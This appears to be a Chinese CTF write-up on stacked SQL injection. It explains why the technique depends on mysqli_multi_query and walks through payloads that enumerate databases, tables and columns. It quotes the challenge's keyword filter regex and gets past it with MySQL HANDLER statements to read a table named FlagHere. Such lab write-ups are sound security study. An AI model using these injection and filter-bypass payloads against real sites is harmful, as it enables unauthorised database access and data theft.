借此题记录一下堆叠注入(Stacked injections)。其原理就是将原来的语句构造完后加上分号,代表该语句结束,后面在输入的就是一个全新的sql语句了,这个时候使用增删改查毫无限制。
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
首先判断注入类型,经测试是字符型:
1′ and ‘1’=’1 正常返回信息
1′ and ‘1’=’2 空白
使用以下payload测试是否是堆叠注入:
1';show databases;#
列出表:
1';show tables;#
从名字就可以看出来“FlagHere”这个表非常可疑,具体跟进它,查询具体信息:
1';show columns from FlagHere;#
正常接下来要查询具体内容需要用到“select”这个关键词,但是被过滤了:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
需要用到HANDLER:
例如,HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
这道题照葫芦画瓢payload如下:
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;